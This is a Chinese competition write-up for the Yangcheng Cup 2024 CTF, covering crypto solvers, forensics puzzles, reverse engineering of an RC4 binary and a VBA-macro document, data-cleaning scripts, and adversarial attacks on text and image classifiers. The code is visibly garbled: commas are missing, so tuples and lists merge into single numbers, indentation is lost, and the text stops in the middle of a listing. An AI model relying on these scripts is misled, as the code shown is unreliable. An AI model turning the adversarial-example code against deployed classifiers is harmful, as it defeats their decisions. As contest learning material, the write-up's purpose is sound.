羊城杯2024 WP

admin 2024年9月22日14:40:52评论57 views字数 37454阅读124分50秒阅读模式

-联合战队|共同成长-

羊城杯2024 WP

羊城杯2024 WP

2024年“羊城杯”粤港澳大湾区网络安全大赛8月1日正式启动报名。本届大赛作为2024年国家网络安全宣传周系列活动之一,由广东省委网信办主办,广州市委网信办承办,旨在通过竞赛的方式提升参赛选手攻防兼备的网络安全实践技能,加强不同院校及单位之间的技术交流。

WriteUP
羊城杯

Crypto-babycurve

题目第二部分隐藏了曲线的两个参数,需要通过第一部分求解

但是由于题目给出了曲线上的两个点,因此可以在GFp上解方程得到曲线参数

观察曲线的阶,存在一些小因子可以利用,因此使用PH+BSGS求出子群上的DLP,并爆破一些子群阶,即可得到key

然后AES-CBC解密得到flag

from sage.all import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

G = (584273268656071313022845392380105970580903682721429154563816)
P = (401055814681171318348566474726293186309252428491012795616690)
data = {'iv''bae1b42f174443d009c8d3a1576f07d6''cipher''ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'}
p = 770311352827455849356512448287

R = PolynomialRing(GF(p), 'x,y')
x, y = R.gens()
B = Ideal([
G[1]**2 - G[0]**3 - x*G[0] - y,
P[1]**2 - P[0]**3 - x*P[0] - y
]).groebner_basis()
a = ZZ(-B[0].univariate_polynomial()(0))
b = ZZ(-B[1].univariate_polynomial()(0))
E = EllipticCurve(GF(p), [a, b])
G, P = E(G), E(P)

order = G.order()
subs = [2**5711359631249861]
sks = list()
for sub in subs:
sk = discrete_log_lambda(order//sub * P, order//sub * G, (0, sub), operation='+')
sks.append(sk)
print(sub, sk)
sk = crt(sks, subs)
while True:
if sk*G == P:
print(sk)
iv, ct = [bytes.fromhex(_) for _ in [data["iv"], data["cipher"]]]
key = hashlib.sha256(str(sk).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(ct)
print(flag)
break
sk += prod(subs)

Crypto-TH_curve

题目实现了Twisted Hessian Curve上的点加法与标量乘法

参考Crypto CTF 2023 WriteUps | 廢文集中區 (maple3142.net)博客,即可实现从TH curve到Weierstrass型曲线的转换(主要分为曲线方程求解与曲线点映射两步)

然后就是朴素的ecdlp求解,同样利用小子群阶实施 PH+BSGS得到flag

from Crypto.Util.number import *
from sage.all import *

p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (88799310450985339015431319446156206929717168079847520654106024239449946134453673742202491320614591684229547464)

Q = (67842786273409571512830662493167854778828881905828751736078603759966354224428976716568980670702790051879661797)
sk = 126879961154507942934597133279713552400602
d = ZZ((a*G[0]**3 + G[1]**3 + 1)*inverse(G[0]*G[1], p) % p)

F = GF(p)
x, y, z = QQ["x,y,z"].gens()
eq = a*x ** 3 + y ** 3 + z ** 3 - d * x * y * z
phi = EllipticCurve_from_cubic(eq)
E = phi.codomain().change_ring(F)

fx, fy, fz = map(lambda f: f.change_ring(F), phi.defining_polynomials())
phiP = lambda x, y, z=1: E(fx(x, y, z) / fz(x, y, z), fy(x, y, z) / fz(x, y, z))
EG = phiP(G[0], G[1], 1)
EQ = phiP(Q[0], Q[1], 1)

order = EG.order()
subs = list(factor(order))
sks = list()
mods = list()
print(order, factor(order))
for sub, i in subs[:-1]:
sub = sub**i
A = order//sub * EG
B = order//sub * EQ
sk = discrete_log_lambda(B, A, (0, sub), operation="+")
sks.append(sk)
mods.append(sub)
print(sub, sk)
sk = crt(sks, mods)
print(sk.nbits(), sk)
print(long_to_bytes(int(sk)))

Crypto-RSAloss

给定 n,c, 通常情况下在无e情景中,应对明文做特殊限制,本题无其他信息,尝试在可见字符范围进行格规约,可转化为SVP问题,使用LLL算法求解即可。

又不明确字符串长度,尝试爆破,然后手工选择一个具有语义的,发现为flag

from Crypto.Util.number import *

p = 898278915648707936019913202333
q = 814090608763917394723955024893
newm = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')
n = p * q
c = newm

pre = b"DASCTF{"
suf = b"}"
for le in range(2060):
length = le - len(pre) - len(suf)

c -= 256^(len(suf) + length) * bytes_to_long(pre)
c -= bytes_to_long(suf)
c = c * inverse(256,n) % n

L = Matrix(ZZ,length+2,length+2)
for i in range(length):
L[i,i] = 1
L[i,-1] = 256^i
c -= 256^i*48
c -= 256^i*40

L[-2,-2] = 1
L[-2,-1] = -c
L[-1,-1] = n
L[:,-1:] *= n
res = L.LLL()
for i in res[:-1]:
flag = ""
if(all(abs(j) <= 40 for j in i[:-2])):
if(i[-2] == 1):
for j in i[:-2][::-1]:
flag += chr(48 + 40 + j)
elif i[-2] == -1:
for j in i[:-2][::-1]:
flag += chr(48 + 40 - j)
if(flag != ""):
print(prefix.decode()+flag+suf.decode())
break
c = newm
#DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}
DASCTF{b<Lgi[PdN[TEkChH:[<R~aWecC[6ee1h}
DASCTF{^YbCRf[XYfkoNdjWrK:sYWvJ]`Y=`DNWQL}
DASCTF{JZQZSZca@@yv_SsTjGHbO_b[OHPsapYPW?J}
DASCTF{Z_S>VZIZoaxL?nOZn[Y_k]a]GsQVSHUOX_}
DASCTF{[OBCIdafdOPK_J]VVf_ZvS`N@MX[~a_bBY_}
DASCTF{NoILV[FXUgJMQtQTm`SoVZcW]RSQNjIcUfXSYP}
DASCTF{YQPSTI_MTRJ^V[VL_ZgSXcWOeYOMUeXIZZMS_Yk}
DASCTF{_VNWb:[SYYNW_Y[]]hHaeTiY^`?e`JWU^[b[Wc}
DASCTF{bZQXWbdK^QVQVWYZZbffXeeSVQ_RYWaY;JSiUQOV}
DASCTF{XT[TVUWcVLYpQjPSKMaZW_N[_YJTUaWZ_QWZeUI_w[}
DASCTF{VOZXXVXRQWPJQbjd[SQMVVLYhUVSUW`=LgWNV]QGN}
DASCTF{Y_a^Rn[TRUP[`f_PRX`UNd][kUY[VXSh`T]`YNQck]}
DASCTF{ZbXaNUWb[UZb[aeKWhOX[aRQNFZRScKaZPdVM^XVcNc}
DASCTF{YVVULZWjUNK]YeXZYUdTK[YRbZYO]bINWUa]aSUaTj}
DASCTF{Y[R[Y`Yd][QUO][[@NY^NR_]KX[WYNJVS]KMN`^[XdYVRc}
DASCTF{YRVWP]_^ZdaFULVV`YURUYZS_]VWTMXZ]RTX^bYS[PGI`gX}
DASCTF{VZSZ_VeTY_PN[cUWZKRVgXOdSZRV[ZPVL_JZKQ_`QQSR]aVb}
DASCTF{]]UWYPaPS[^MQQSZ]Y`TY]OXYRM]WVQaWXRV[[^Q^WX[NW[IS}
DASCTF{TWU[TXMSZW^UV[TgV`ZWXUgUMY]XcU`[XTV]_UW]YYY]MTV}

Crypto-TheoremPlus

decode 是在求  ,分两类讨论,为素数时,威尔逊定理等于-1,不为素数时是0

例外的当n=4,等于2

因此转变思路求素数的个数

接着n开方找近似p的下一个q就行,老套路了

from Crypto.Util.number import *
from gmpy2 import *
from sage import *
from tqdm import tqdm

'''n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

e = 0
for i in tqdm(range(2,703440151+1)):
if is_prime(i):
e += 1

print(e)
'''
e = 36421875 - 2

n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

p = iroot(n,2)[0]
q = next_prime(p)
p = n //q

assert is_prime(p) and p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

Misc-1z_misc

结合hint中的jpg:

羊城杯2024 WP

hint.txt用处不大,直接从题目附件的txt入手分析:

天地玄黄,宇宙洪荒;日月盈昃,辰宿列张;万物芸芸,息息相关;是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。
若女可为11,可为1124......觜可为91,亦可为725......如此往复,周而复始。
祈解其秘:[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,16,101,16,55,1027,1017,28,16]

1 1为子对应的二十八宿左边第一个女,9 1就是申左边第一个,对应的觜 1124就是11(子、丑、‌寅、‌卯、‌辰、‌巳、‌午、‌未、‌申、‌酉、‌戌、亥)顺序 11对应左边的第一个开始 按顺序数二十八宿,转过来还是女 725同理 7(子、丑、‌寅、‌卯、‌辰、‌巳、‌午、‌未、‌申、‌酉、‌戌、亥)顺序 7对应左边第一个开始按顺序数25个 还是觜  逻辑就通了

文字发现都是

心,胃,心,奎,奎,心,奎,心,胃,心,心,心,胃,心,心,胃,心,奎,奎,奎,奎,胃,奎,心,奎,奎,胃,奎,心,奎,心,奎,奎

三进制和上面转换都不对,莫斯编码,得到了压缩包密码为E@SI1Y!

羊城杯2024 WP

解压压缩包,分析文件发现是lyra压缩的音频文件,今年ISCC考过一次抽象题目,参考:

https://blog.csdn.net/ASD830/article/details/139381089

羊城杯2024 WP

中的'有人让我给你带个话',配置环境跑出音频文件,发现和例题完全一样,都是社会主义核心价值观,解码即可得到flag

羊城杯2024 WP
DASCTF{W0w!_You_d0_4_g00d_j0b!}

Misc-hiden

60=17+43

羊城杯2024 WP

交给AI

羊城杯2024 WP

Misc-miaoro

流量包看到奇怪的cookie

羊城杯2024 WP

猜测是RememberMe魔改

羊城杯2024 WP

在第二个攻击找到

羊城杯2024 WP
DASCTF{B916CFEB-C40F-45D6-A7BC-

同时看到奇怪的头

羊城杯2024 WP
羊城杯2024 WP

接着找,能看到一个倒着的zip

羊城杯2024 WP
羊城杯2024 WP

密码在前面

羊城杯2024 WP

打开发现宽高有问题,更改宽为高,发现差不多,调大高度

羊城杯2024 WP

字符画,对出flag

羊城杯2024 WP

Misc-不一样的数据库_2

zip需要密码,尝试伪加密发现的确需要密码,由于没有其它信息,尝试直接爆破成功得到密码,数据库显然需要密码,先看13.png:

羊城杯2024 WP

ps补全定位角,扫码得到:

NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU

结合png的文件名13,猜测需要rot13后解密数据库:

AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH
羊城杯2024 WP

首先知道AES的key为DASCTF,下面还差一个密文,随便翻翻数据库就能找到:

羊城杯2024 WP

解AES即可得到flag

Misc-Check in

Zip中有注释,发现是base58,解码得到一个key:

Welcome2GZ

flag.txt是流量包的十六进制,但是没有发现TLS的密钥,于是考虑到Flag.txt可能存在隐写,txt隐写种类很少,尝试发现为wbStego4,解密得到log文件,导入后搜索flag可以发现一张gif:

羊城杯2024 WP

导出后gif无明显flag,查看每帧的间隔发现问题,将小的间隔转为0,大的间隔转为1,得到:

0101010101011111001100000111011101001110010111110011000101010100

解二进制即可得到flag:

羊城杯2024 WP

Misc-so much

根据文件后缀,可以判断出是ad1磁盘,FTK直接挂载,发现需要密码,尝试弱口令未遂,strings在最后发现:

the key is1234567 really

确实不是key,但一定和1234567有关,搜了一下发现一道几乎一样的题目:

https://blog.csdn.net/qq_42880719/article/details/120271611

跟这题一样,文件名解base64得到提示:shift!

那么按住shift点1234567,成功解密,挂载成功,跟例题一样,也是一堆.crypto文件,只不过这题是根据md5转二进制,之后puzzlesolve直接梭得到密码:

羊城杯2024 WP

分别解两种.crypto文件即可得到flag

AI-NLP_Model_Attack

关于bert的llm对抗,使用清华的openattack就行,使用了基于贪婪算法进行word词替换的PWWS攻击

import OpenAttack as oa
import numpy as np
import torch
import datasets
import transformers
from transformers import DistilBertTokenizer, DistilBertForSequenceClassification

import csv
from collections import defaultdict
with open('original_text.csv', mode='r', encoding='utf-8'as file:
# 创建CSV阅读器
reader = csv.DictReader(file)

# 创建一个字典来存储转换后的数据
data_dict = {
"x": [
],
"y": [
]
}

# 遍历CSV文件中的每一行
for row in reader:
# 将'text'列的值添加到data_dict的'x'键下
data_dict['x'].append(row['text'])
# 将'original_label'列的值添加到data_dict的'y'键下
data_dict['y'].append(int(row['original_label']))  # 假设original_label是整数

tokenizer = DistilBertTokenizer.from_pretrained('Sentiment_classification_model')
model = DistilBertForSequenceClassification.from_pretrained('Sentiment_classification_model').to('cuda')
victim = oa.classifiers.TransformersClassifier(model, tokenizer, model.distilbert.embeddings.word_embeddings, 'cuda')

attacker = oa.attackers.PWWSAttacker()
dataset = datasets.Dataset.from_dict(data_dict)
attack_eval = oa.AttackEval(attacker, victim, metrics = [oa.metric.EditDistance(), oa.metric.ModificationRate()])
attack_eval.eval(dataset, visualize=True)

羊城杯2024 WP

AI-Targeted_Image_adv_attacks

题目要求进行有目标的对抗样本攻击,并且检验方式为SIMM

因此对损失函数使用SIMM进行约束,在SIMM条件下的进行约束优化,采用了梯度优化FGSM

考虑到模型敏感度使用softmax后进行交叉熵的效果并不好,观察模型输出后,直接预设期望的target计算MSE均方误差

from torch import nn
import torch.nn.functional as func
import numpy as np
import torch
from PIL import Image
import base64
import random
from torchvision import models, transforms
import pytorch_ssim
from torch.autograd import Variable

label = {
0'cat',
1'dog',
2'fox'
}

target = [torch.tensor([[-1010-10]]).to('cuda').float(),
torch.tensor([[-10-1010]]).to('cuda').float(),
torch.tensor([[10-10-10]]).to('cuda').float()]

model = models.densenet121(weights=None)
num_ftrs = model.classifier.in_features
model.classifier = nn.Sequential(
nn.Linear(num_ftrs, 500),
nn.Linear(5003)
)

model.load_state_dict(torch.load('ckpt_densenet121_catdogfox_classify.pth', map_location='cuda'))
model = model.to('cuda')
model.eval()
loss_ssim = pytorch_ssim.SSIM()
loss_l2 = nn.MSELoss()
delta = 0.01
cnt = 0

for idx in range(3):

for num in range(50):

print(f'--------{label[idx]}_{num:03d} Start Adv Attack!---------')

img = transforms.ToTensor()(Image.open(f'.\adv_image\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)
src_img = transforms.ToTensor()(Image.open(f'.\adv_image\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)
src = src_img.view(-1).detach().cpu().numpy()

img.requires_grad = True

for i in range(100000):
pred = model(img)

print(f"Epoch {i}: target pred: {pred[0].argmax().item()}",end='  ')

adv = transforms.ToPILImage()(img[0].detach().cpu())
adv.save(f'.\update\{label[idx]}\{label[idx]}_{num:03d}.jpg')
adv_img = transforms.ToTensor()(Image.open(f'.\update\{label[idx]}\{label[idx]}_{num:03d}.jpg')).to('cuda').unsqueeze(0)

if pytorch_ssim.ssim(adv_img, src_img) < 0.95:
print(f'-------- {label[idx]}_{num:03d}  SSIM < 0.95---------')
cnt += 1
break

if model(adv_img)[0].argmax().item() == (idx+1)%3 and pytorch_ssim.ssim(adv_img, src_img) > 0.95:
print('--------Find Adv Image!---------')
print(pytorch_ssim.ssim(img, src_img), pred[0].argmax().item())
break

ssiml = loss_ssim(img, src_img)
l2l = loss_l2(pred, target[idx])

loss = l2l + ssiml
loss.backward()

img.requires_grad = False

img = img - img.grad * delta
img = img.clamp(01)

img.requires_grad = True
print(f"SIMM loss: {ssiml.item()}  MSE norm: {l2l.item()}")

print(f'-------- Total:{cnt} SSIM < 0.95---------')

data-analy1

import pandas as pd
import re

# 读取整个CSV文件
def read_csv_file(file_path):
data = pd.read_csv(file_path)
return data

# 读取一行数据
def read_specific_row(data, row_number):
row_data = data.iloc[row_number]
return row_data

# 读取一行中的某个值
def get_value_from_row(row_data, column_name):
value = row_data[column_name]
return value# 读取CSV文件

def is_md5(input_string):
# 正则表达式匹配32位小写MD5值
pattern = r"^[a-f0-9]{32}$"
if re.match(pattern, input_string):
return True
else:
return False
def validate_id_number(id_number):
# 加权因子
weight_factor = [7910584216379105842]
# 校验码
check_code = ['1''0''X''9''8''7''6''5''4''3''2']

if len(id_number) != 18 or not id_number[:17].isdigit():
return False

# 校验身份证号前17位
total = sum(int(id_number[i]) * weight_factor[i] for i in range(17))
# 计算校验码
verify_code = check_code[total % 11]

# 检查校验码是否匹配
if id_number[17] == verify_code:
return True
else:
return False

def extract_birthday_from_id(id_number):
if len(id_number) != 18:
return "身份证号长度错误"+id_number

year = id_number[6:10]  # 从第7位到第10位是年份
month = id_number[10:12]  # 月份
day = id_number[12:14]  # 日
return f"{year}{month}{day}"

def validate_phone_number(phone_number):
# 虚假号段集合
fake_prefixes = {
'734''735''736''737''738''739''747''748',
'750''751''752''757''758''759''772''778',
'782''783''784''787''788''795''798''730',
'731''732''740''745''746''755''756''766',
'767''771''775''776''785''786''796''733',
'749''753''773''774''777''780''781''789',
'790''791''793''799'
}
if len(phone_number) != 11:
return False

prefix = phone_number[:3]
if prefix in fake_prefixes:
return True
else:
return False

def is_chinese_name(input_str):
# 中文姓名通常由2-4个中文字符组成
pattern = re.compile(r'^[u4e00-u9fa5]{2,4}$')

if pattern.match(input_str):
return True
else:
return False

def process(specific_row,row_number):
global id, passwd, phone_number, id_card, birthday_name, sex, name, birthday
for column_name, value in specific_row.items():
# print(column_name, value)
if value == str(row_number+1):
id = specific_row[column_name]
print("id:",id)
if is_md5(value):
passwd = value
print("passwd:",passwd)
if validate_phone_number(value):
phone_number = value
print("phone_number:",phone_number)
if validate_id_number(value):
id_card = value
birthday = extract_birthday_from_id(id_card)
for column_name2, value2 in specific_row.items():
if str(value2) == str(birthday):
birthday_name = value2
if value == "男" or value == "女":
sex = value
print("sex:", sex)
if is_chinese_name(value):
name = value
print("name:", name)
valuses = specific_row.values.tolist()
valuses.remove(id)
valuses.remove(passwd)
valuses.remove(phone_number)
valuses.remove(id_card)
valuses.remove(sex)
valuses.remove(name)
valuses.remove(birthday_name)
user_name = valuses[0]
print("user_name:",user_name)
data_dict = {
"id": id,
"用户名": user_name,
"密码": passwd,
"姓名": name,
"性别": sex,
"出生日期": birthday_name,  # 如果有出生日期的话,可以添加对应的值
"身份证号": id_card,
"手机号码": phone_number
}
return data_dict
data_dict111 = {
"id"1,
"用户名"1,
"密码"1,
"姓名"1,
"性别"1,
"出生日期"1,
"身份证号"1,
"手机号码"1
}
import csv
swapped_data_list = []
file_path = "person_data.csv"
person_data = read_csv_file(file_path)
csv_file = "person_data2.csv"
num_rows = person_data.shape[0]
fieldnames = ["id""用户名","密码","姓名","性别","出生日期","身份证号","手机号码"]
data = []

for i in range(num_rows):
specific_row = read_specific_row(person_data, i)
data_dict = process(specific_row,i)
data.append(data_dict)

with open(csv_file, mode='w', newline='', encoding='utf-8'as file:
writer = csv.DictWriter(file, fieldnames=fieldnames)
writer.writeheader()
# 写入数据
writer.writerows(data)

data-analy2

import re
import json
import csv
import random
import string

obj = re.compile(r"{"u(.*?)}")
data = []

def check_username(username):
if username.isalnum():
return True
else:
return False
def check_cnname(name):
"""
检查输入的姓名是否符合要求。

参数:
name (str): 要检查的姓名。

返回:
bool: 如果姓名符合要求则返回 True,否则返回 False。
"""
# 检查是否全由中文组成
if not all(u'u4e00' <= char <= u'u9fa5' for char in name):
return False

return True
def check_sex(gender, id_card):
"""
检查输入的性别与身份证号码中的性别是否一致。

参数:
gender (str): 输入的性别, 可以是 '男' 或 '女'。
id_card (str): 身份证号码。

返回:
bool: 如果输入的性别与身份证号码中的性别一致, 返回 True, 否则返回 False。
"""
# 获取身份证号码中的性别代码
if len(id_card) == 18:
gender_code = int(id_card[16])
else:
gender_code = int(id_card[15])

# 根据性别代码判断性别
id_gender = '男' if gender_code % 2 != 0 else '女'

# 比较输入的性别与身份证号码中的性别是否一致
return id_gender == gender
def check_birth(birth, id_card):
"""
检查输入的出生日期与身份证号码中的出生日期是否一致。

参数:
birth (str): 输入的出生日期, 格式为 'YYYYMMDD'。
id_card (str): 身份证号码。

返回:
bool: 如果输入的出生日期与身份证号码中的出生日期一致, 返回 True, 否则返回 False。
"""
# 从身份证号码中提取出生日期
id_birthdate = id_card[6:14]

# 比较输入的出生日期与身份证号码中的出生日期是否一致
return birth == id_birthdate
def check_idcard(idcard):
"""
检查输入的身份证号码是否符合要求。

参数:
idcard (str): 要检查的身份证号码。

返回:
bool: 如果身份证号码符合要求则返回 True,否则返回 False。
"""
# 检查身份证号码长度是否为 18 位
if len(idcard) != 18:
return False

# 生成随机的地址码
address_code = ''.join(random.choices(string.digits, k=6))

# 检查出生日期码是否合法
try:
birth_date = idcard[6:14]
year = int(birth_date[:4])
month = int(birth_date[4:6])
day = int(birth_date[6:8])
if year < 1900 or year > 2023 or month < 1 or month > 12 or day < 1 or day > 31:
return False
except (ValueError, IndexError):
return False

# 检查顺序码是否合法
try:
order_code = int(idcard[14:17])
if order_code < 1 or order_code > 999:
return False
except (ValueError, IndexError):
return False

# 检查校验码是否合法
weights = [7910584216379105842]
total = sum(int(idcard[i]) * weights[i] for i in range(17))
remainder = total % 11
check_codes = ['1''0''X''9''8''7''6''5''4''3''2']
if idcard[17] != check_codes[remainder]:
return False

# 检查性别
if int(idcard[16]) % 2 == 0:
gender = '女'
else:
gender = '男'

print(f"身份证号码: {idcard}n地址码: {address_code}n出生日期: {birth_date}n顺序码: {order_code}n性别: {gender}")
return True
def check_phone(phone):
"""
检查输入的手机号码是否符合要求。

参数:
phone (str): 要检查的手机号码。

返回:
bool: 如果手机号码符合要求则返回 True,否则返回 False。
"""
# 检查手机号码长度是否为 11 位
if len(phone) != 11:
return False

# 检查手机号码是否全由数字组成
if not phone.isdigit():
return False

# 检查手机号码的前 3 位是否在指定的号段集合中
allowed_prefixes = ['734''735''736''737''738''739''747''748''750''751''752''757''758',
'759''772''778''782''783''784''787''788''795''798''730''731''732',
'740''745''746''755''756''766''767''771''775''776''785''786''796',
'733''749''753''773''774''777''780''781''789''790''791''793''799']
if phone[:3not in allowed_prefixes:
return False

return True

with open("data.pcapng","r",encoding="utf-8",errors='ignore'as f:
lines = f.readlines()

for line in lines:
match_obj = obj.findall(line)
if match_obj and len(match_obj[0]) > 38:
json_str = "{"u"+match_obj[0]+"}"
data.append(json.loads(json_str))

filtered_data = []

for user_info in data:
username = user_info["username"]
name = user_info["name"]
sex = user_info["sex"]
birth = user_info["birth"]
idcard = user_info["idcard"]
phone = user_info["phone"]

if (check_username(username) and
check_cnname(name) and
check_sex(sex, idcard) and
check_birth(birth, idcard) and
check_idcard(idcard) and
check_phone(phone)):
pass
else:
filtered_data.append([username, name, sex, birth, idcard, phone])

with open("data.pcapng","r",encoding="utf-8",errors='ignore'as f:
lines = f.readlines()
with open("data.csv",'w',newline="",encoding="utf-8"as f:
csvwriter = csv.writer(f)
csvwriter.writerows(filtered_data)

data-analy3

import re
import urllib.parse
import csv
import hashlib
import random
import string

def check_username(username):
if username.isalnum():
return True
else:
return False
def check_cnname(name):
"""
检查输入的姓名是否符合要求。

参数:
name (str): 要检查的姓名。

返回:
bool: 如果姓名符合要求则返回 True,否则返回 False。
"""
# 检查是否全由中文组成
if not all(u'u4e00' <= char <= u'u9fa5' for char in name):
return False

return True
def check_idcard(idcard):
"""
检查输入的身份证号码是否符合要求。

参数:
idcard (str): 要检查的身份证号码。

返回:
bool: 如果身份证号码符合要求则返回 True,否则返回 False。
"""
# 检查身份证号码长度是否为 18 位
if len(idcard) != 18:
return False

# 生成随机的地址码
address_code = ''.join(random.choices(string.digits, k=6))

# 检查出生日期码是否合法
try:
birth_date = idcard[6:14]
year = int(birth_date[:4])
month = int(birth_date[4:6])
day = int(birth_date[6:8])
if year < 1900 or year > 2023 or month < 1 or month > 12 or day < 1 or day > 31:
return False
except (ValueError, IndexError):
return False

# 检查顺序码是否合法
try:
order_code = int(idcard[14:17])
if order_code < 1 or order_code > 999:
return False
except (ValueError, IndexError):
return False

# 检查校验码是否合法
weights = [7910584216379105842]
total = sum(int(idcard[i]) * weights[i] for i in range(17))
remainder = total % 11
check_codes = ['1''0''X''9''8''7''6''5''4''3''2']
if idcard[17] != check_codes[remainder]:
return False

# 检查性别
if int(idcard[16]) % 2 == 0:
gender = '女'
else:
gender = '男'

print(f"身份证号码: {idcard}n地址码: {address_code}n出生日期: {birth_date}n顺序码: {order_code}n性别: {gender}")
return True
def check_phone(phone):
"""
检查输入的手机号码是否符合要求。

参数:
phone (str): 要检查的手机号码。

返回:
bool: 如果手机号码符合要求则返回 True,否则返回 False。
"""
# 检查手机号码长度是否为 11 位
if len(phone) != 11:
return False

# 检查手机号码是否全由数字组成
if not phone.isdigit():
return False

# 检查手机号码的前 3 位是否在指定的号段集合中
allowed_prefixes = ['734''735''736''737''738''739''747''748''750''751''752''757''758',
'759''772''778''782''783''784''787''788''795''798''730''731''732',
'740''745''746''755''756''766''767''771''775''776''785''786''796',
'733''749''753''773''774''777''780''781''789''790''791''793''799']
if phone[:3not in allowed_prefixes:
return False

return True

obj = re.compile(r'username(.*?)n')
obj1 = re.compile(r'username=(?P<username>.*?)&name=(?P<name>.*?)&idcard=(?P<idcard>.*?)&phone=(?P<phone>.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)n[(.*?)\xba: (?P<password>.*?)\n')
data = []
result = []
data_finally = []

with open("error.log",'r',encoding="utf-8"as f:
lines = f.read()

match = obj1.search(lines)
for match in obj1.finditer(lines):
if match:
user_info = {
'username': match.group('username'),
'password': match.group('password'),
'name': urllib.parse.unquote(match.group('name')),
'idcard': match.group('idcard'),
'phone': match.group('phone')
}
data.append(user_info)

for user_info in data:
username = user_info['username']
name = user_info['name']
idcard = user_info['idcard']
phone = user_info['phone']
password = user_info['password']

if (check_username(username) and
check_cnname(name) and
check_idcard(idcard) and
check_phone(phone)):

# print(user_info)

# 格式化用户名
if len(username) == 2:
new_username = username[0] + "*"
else:
new_username = username[0] + "*" * (len(username) - 2) + username[-1]
user_info['username'] = new_username

# 格式化密码
new_password = hashlib.md5(password.encode('utf-8')).hexdigest()
user_info['password'] = new_password

# 格式化姓名
if len(name) == 2:
new_name = name[0] + "*"
else:
new_name = name[0] + "*" * (len(name) - 2) + name[-1]
user_info['name'] = new_name

# 格式化身份证号
new_idcard = "*" * 6 + idcard[6:10] + "*" * 8
user_info['idcard'] = new_idcard

# 格式化手机号
new_phone = phone[0:3] + "*" * (len(phone) - 7) + phone[-4:]
user_info['phone'] = new_phone

result.append(user_info)
for i in result:
data_finally.append([i["username"],i["password"],i["name"],i["idcard"],i["phone"]])
with open("data.csv",'w',newline="",encoding="utf-8"as f:
csvwriter = csv.writer(f)
csvwriter.writerows(data_finally)

Re-pic

主函数跟进可以看到密钥长度是5

羊城杯2024 WP

跟进V43根据几个关键特征如256等猜测是RC4或者类RC4族

羊城杯2024 WP

写脚本尝试爆破,发现是ARC4,不对后,看字节码,发现很多花指令,nop之后发现上面密钥还有个还有个异或

羊城杯2024 WP
from Crypto.Cipher import ARC4

data = b'x85x43x72x78x26xc0x2ex6e'
png = [0x89,0x50,0x4e,0x47,0xd,0xa,0x1a,0xa]

table = '0123456789abcdef'

for a in table:
for b in table:
for c in table:
for d in table:
for e in table:
key = (a+b+c+d+e).encode()
arc4 = ARC4.new(key)
pt = arc4.decrypt(data)
ct = []
for i in pt:
ct.append(i^ord(b)^ 0x11)
if ct == png:
print(a,b,c,d,e)
exit()

然后运行程序输入密钥,图片还原

羊城杯2024 WP

Re-docCrack

有点像取证,docm后缀,一眼有VBA宏代码,直接olevba提取:

羊城杯2024 WP

有base64数据,看到代码中有拼接顺序:

羊城杯2024 WP
xpkdb = dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag

复制出来用python输出一下,解两次base64得到exe:

羊城杯2024 WP

IDA开,看mian:

羊城杯2024 WP

移六位,写exp即可未得到明文字符串,考虑到还存在对flag的其它操作,继续看VBA代码发现:

羊城杯2024 WP
>>> v7 = [0]*54
>>> v7[0] = 4288;
>>> v7[1] = 4480;
>>> v7[2] = 5376;
>>> v7[3] = 4352;
>>> v7[4] = 5312;
>>> v7[5] = 4160;
>>> v7[6] = 7936;
>>> v7[7] = 5184;
>>> v7[8] = 6464;
>>> v7[9] = 6528;
>>> v7[10] = 5632;
>>> v7[11] = 3456;
>>> v7[12] = 7424;
